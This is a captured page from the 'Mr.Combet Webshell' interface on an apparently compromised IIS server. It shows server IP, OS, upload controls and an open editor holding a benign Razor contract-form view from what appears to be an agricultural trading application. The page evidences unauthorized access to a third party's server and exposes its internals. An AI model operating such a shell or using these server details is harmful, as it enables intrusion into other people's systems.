Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa_bak
/
mapqa
/
Views
/
Trader
/
Edit File Name :
CreateContract.cshtml
@model RER_Project.DataAccess.ViewModels.TraderDataVm @{ ViewBag.Title = "CreateContract"; Layout = "~/Views/Shared/_Layout.cshtml"; } @{ var trader = ViewBag.traderid; string groupId = ""; int memberid = 0; if (Request.QueryString["page"] != null) { memberid = Convert.ToInt32(Request.QueryString["memberid"].ToString()); } } <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content" style="margin-bottom:10px"> <label style="font-size: medium"><b>Trader Info</b></label> <hr /> <div class="row"> <div class="col-lg-12"> <span style="font-size: 100%;"> Business Name: <strong>@Model.trader[0].name</strong> </span> <span style="font-size: 100%;"> Province: <strong>@Model.trader[0].province</strong> </span> <span style="font-size: 100%;"> Atoll: <strong>@Model.trader[0].district</strong> </span> <span style="font-size: 100%;"> Island: <strong>@Model.trader[0].paliaka</strong> </span> </div> </div> <br /> <div class="row"> <div class="col-lg-12"> <span style="font-size: 100%;"> Nature Of Business: <strong>@Model.trader[0].nature</strong> </span> <span style="font-size: 100%;"> Address: <strong>@Model.trader[0].addressofbusiness</strong> </span> </div> </div> </div> <div class="ibox-content"> <form id="CreateContract"> <div class="row"> <input type="hidden" class="form-control clear" id="trader_id" name="trader_id" value="@trader" /> <div class="form-group col-md-6"> <div class="col-md-8 control-label "> IFF Info </div> <div class="col-md-12" style="margin-top:10px;"> <select type="text" class="form-control required select2" id="GroupId" name="GroupId" data-api="/siftgroup/select" data-api-selected-value="@groupId"> <option value="">All</option> </select> </div> </div> <div class="form-group col-md-6"> <div class="col-md-8 control-label"> Farmer Name : </div> <div class="col-md-8" style="margin-top:10px;"> @* <input id="chkall" type="checkbox">*@ <select type="text" class="form-control required" name="farmerId" id="farmerId" data-api="/farmer_name" disabled="" data-api-selected-value="@memberid"> @* <option value="Selectall">all</option>*@ </select> <input type="hidden" id="SelectedMemberIds" name="SelectedMemberIds" /> </div> </div> <div class="form-group col-md-2" style="margin-left:17px;"> <label><strong>Fiscal Year </strong></label> <select type="text" class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select"></select> </div> <div class="form-group col-md-3"> <div class="col-md-4 control-label"> <center> <strong style="margin-left: 60px;">Contracted</strong></center> </div> <div class="col-md-2" style="margin-top:30px;"> <input type="checkbox" class="form-control clear" id="Contracted" name="isRegistered" onclick="clickme()" /> </div> </div> <div class="form-group col-md-3" id="rs"> <div class="col-md-8 control-label"> <label><strong>Nature of Contract</strong></label> </div> <div class="col-md-12" style="margin-top:10px;"> <select type="text" class="form-control clear " id="ContractNature" name="ContractNature" data-api="/contract_type/select"></select> </div> </div> <div class="form-group col-md-3" id="rp"> <div class="col-md-8 control-label"> <label><strong>Contract id</strong></label> </div> <div class="col-md-12" style="margin-top:10px;"> <input type="text" onkeypress="return isNumberKey(this,event)" maxlength="7" class="form-control " name="ContractId" id="ContractId" /> </div> </div> </div> </form> <div class="row"> <div class="pull-right"> <button class="btn btn-primary" id="save">Save</button> <a href="@("/contract?traderId=" + trader)" class="btn btn-primary" id="back">Back</a> </div> </div> </div> </div> </div> </div> </div> <script> $(document).ready(function () { $('#rs').hide(); $('#rp').hide(); window.initializeSelectApis2(); debugger; debugger; var traderid = window.location.pathname.split('/').pop(); console.log("tradere", traderid); var memberID = $('#farmerId'); $('.select2').select2(); debugger; @* $("#chkall").click(function () { debugger; debugger; if ($("#chkall").is(':checked')) { $("#farmerId > option").prop("selected", "selected"); $("#farmerId").trigger("change"); } else { $("#farmerId option:selected").remove(); } });*@ $(memberID).select2({ multiple: true, allowClear: true, placeholder: { id: "", placeholder: "" }, }).change(function () { $("#farmerId option[value='']").remove(); var selectedmemberIDs = $.map($(memberID).select2('data'), function (val, i) { return val.id; }).join(","); $('#SelectedMemberIds').val(selectedmemberIDs); }); }); function clickme() { debugger; var contracted = $('#Contracted').prop('checked') if (contracted == true) { $('#rs').show(); $('#rp').show(); } else { $('#rs').hide(); $('#rp').hide(); } } $('#farmerId').on("select2:select", function (e) { debugger; var data = e.params.data.text; if (data == 'Select All') { $("#farmerId > option").prop("selected", "selected"); $("#farmerId").trigger("change"); } }); $("#save").off("click").on("click", function () { debugger; function request(model) { debugger; const url = "/Contract/CreateContract"; const data = JSON.stringify(model); debugger; return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateContract"); console.log("from", form); $.validator.unobtrusive.parse(form); debugger; if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); function getModel() { return (getfarmerdata()); } function getfarmerdata() { debugger; var getfarmerdataContract = {}; var groupid = $('#GroupId').val(); var trader_ids = $('#trader_id').val(); var fiscalyearid = $('#FiscalYearId').val(); var memberid = $('#SelectedMemberIds').val(); var contracted = $('#Contracted').prop('checked'); var natureOfcontract = $('#ContractNature').val(); var contractedId = $('#ContractId').val(); getfarmerdataContract.Id = 0; getfarmerdataContract.fiscal_years = fiscalyearid; getfarmerdataContract.groupId = groupid; getfarmerdataContract.trader_id = trader_ids; getfarmerdataContract.memberid = memberid; getfarmerdataContract.contracted = contracted; getfarmerdataContract.natureofcontracted = natureOfcontract; getfarmerdataContract.contractedid = contractedId; return getfarmerdataContract; } const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); cleardata(); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) function cleardata() { $('#farmerId').val(null).trigger('change'); $('#GroupId').val(null).trigger('change'); $('#trader_id').val(''); $('#SelectedMemberIds').val(''); $('#Contracted').val(''); $('#ContractNature').val(''); $('#ContractId').val(''); } function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } $("#GroupId").off("change").on("change", function () { debugger; const groupid = $(this).val(); const farmerid = $("#farmerId").val(); debugger if (groupid) { $("#farmerId").val(''); $("#farmerId").prop("disabled", false); } else { $("#farmerId").val(""); $("#farmerId").prop("disabled", "disabled"); }; displayFieldBinder($("#farmerId"), "/farmer_name?groupId=" + groupid, null, null, function () { const selectedValue = $("#GroupId").attr("data-api-selected-value"); if (selectedValue !== groupid) { debugger; var keyValueObj = { '0': 'Select All' }; var selectElement = $('#farmerId'); $.each(keyValueObj, function (key, value) { selectElement.append($('<option>', { value: key, text: value })); }); var select = $('#farmerId'); select.html(select.children('option').sort(function (a, b) { return a.value.localeCompare(b.value); })); var a = $("#farmerId").attr("data-api-selected-value", ""); } if (selectedValue === groupid) { debugger; console.log("farmerid", farmerid) $("#farmerId").val(farmerid); } $("#farmerId").trigger("change"); }); }); </script>
Save